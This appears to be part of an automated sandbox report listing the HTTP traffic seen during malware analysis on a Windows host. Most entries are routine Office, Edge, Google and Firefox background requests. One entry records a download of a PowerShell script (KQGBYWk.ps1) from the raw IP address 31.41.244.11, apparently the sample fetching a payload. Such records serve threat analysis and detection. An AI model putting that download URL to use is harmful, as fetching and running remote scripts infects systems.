Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1733023421&P2=404&P3=2&P4=MOstqjPqe8Eg1pa09kOgFyzsQIDiF0edEJhwdiH6oXw7Qn52DMAEA72yi%2fgPPG133ySstQIi9qC%2fMMv4YYyhQg%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: mGcA7tkQen3O51BMaUmxWCSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ShorelineSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /v4/api/selection?placement=88000360&nct=1&fmt=json&ADEFAB=1&OPSYS=WIN10&locale=en-GB&country=CH&edgeid=6686581979505309747&ACHANNEL=4&ABUILD=117.0.5938.132&poptin=0&devosver=10.0.19045.2006&clr=esdk&UITHEME=light&EPCON=0&AMAJOR=117&AMINOR=0&ABLD=5938&APATCH=132 HTTP/1.1Host: arc.msn.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_action_center_maximal_light.png/1.2.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_search_maximal_light.png/1.3.6/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_shopping_maximal_light.png/1.4.0/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_toolbox_maximal_light.png/1.5.13/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_games_maximal_light.png/1.7.1/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_M365_light.png/1.7.32/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /accounts/CheckConnection?pmpo=https%3A%2F%2Faccounts.google.com&v=1603893037&timestamp=1732418630684 HTTP/1.1Host: accounts.youtube.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-arch: "x86"sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-model: ""sec-ch-ua-bitness: "64"sec-ch-ua-wow64: ?0sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_outlook_light.png/1.9.10/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/edge_hub_apps_edrop_maximal_light.png/1.1.12/asset HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Not;A=Brand";v="8", "Chromium";v="117", "Google Chrome";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132", "Google Chrome";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /assets/product_category_en/1.0.0/asset?assetgroup=ProductCategories HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ProductCategoriesSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.5938.132"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCNy9zQEI2sPNAQjpxc0BCLnKzQEIv9HNAQiK080BCNDWzQEIqNjNAQj5wNQVGI/OzQEYutLNARjC2M0BGOuNpRc=Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /files/5124158732/KQGBYWk.ps1 HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
